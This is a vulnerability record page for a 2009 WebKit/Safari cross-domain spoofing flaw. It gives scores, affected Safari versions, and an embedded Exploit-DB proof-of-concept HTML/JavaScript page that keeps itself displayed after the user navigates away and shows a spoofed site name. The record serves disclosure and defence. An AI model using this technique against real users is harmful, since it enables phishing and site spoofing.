Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-79 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
4.3 |
|
AV:N/AC:M/Au:N/C:N/I:P/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 33033
Publication date : 2009-05-07 22h00 +00:00
Author : Michal Zalewski
EDB Verified : Yes
source: https://www.securityfocus.com/bid/35315/info
WebKit is prone to a cross-domain scripting vulnerability because it fails to properly restrict the access of JavaScript code when loading new webpages.
A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or to launch spoofing attacks against other sites. Other attacks are also possible.
NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it.
<html> <body onunload='intercept()'> <script> function intercept() { setTimeout('update_page()',10); stop(); } function update_page() { document.getElementById('hideme').style.visibility = "hidden"; document.getElementById('showme').style.visibility = "visible"; document.getElementById('sitename').innerHTML = document.location; } </script> <span id=showme style="visibility: hidden"> <font size=+1 color=teal>This is a spoofed version of <b><span id=sitename></span></b></font> </span> <br> <span id=hideme>Please navigate away from this page.</span>
Products Mentioned
Configuraton 0
Apple>>Safari >> Version To (including) 4.0_beta
Apple>>Safari >> Version 0.8
Apple>>Safari >> Version 0.9
Apple>>Safari >> Version 1.0
Apple>>Safari >> Version 1.0.3
Apple>>Safari >> Version 1.1
Apple>>Safari >> Version 1.2
Apple>>Safari >> Version 1.3
Apple>>Safari >> Version 1.3.1
Apple>>Safari >> Version 1.3.2
Apple>>Safari >> Version 2.0
Apple>>Safari >> Version 2.0.2
Apple>>Safari >> Version 2.0.4
Apple>>Safari >> Version 3.0
Apple>>Safari >> Version 3.0.2
Apple>>Safari >> Version 3.0.3
Apple>>Safari >> Version 3.0.4
Apple>>Safari >> Version 3.1
Apple>>Safari >> Version 3.1.1
Apple>>Safari >> Version 3.1.2
Apple>>Safari >> Version 3.2.1
Apple>>Safari >> Version 3.2.3
Configuraton 0
Apple>>Safari >> Version To (including) 3.2.3
Apple>>Safari >> Version 3.0
Apple>>Safari >> Version 3.0.1
Apple>>Safari >> Version 3.0.2
Apple>>Safari >> Version 3.0.3
Apple>>Safari >> Version 3.0.4
Apple>>Safari >> Version 3.1
Apple>>Safari >> Version 3.1.1
Apple>>Safari >> Version 3.1.2
Apple>>Safari >> Version 3.2
Apple>>Safari >> Version 3.2.1
Apple>>Safari >> Version 3.2.2
References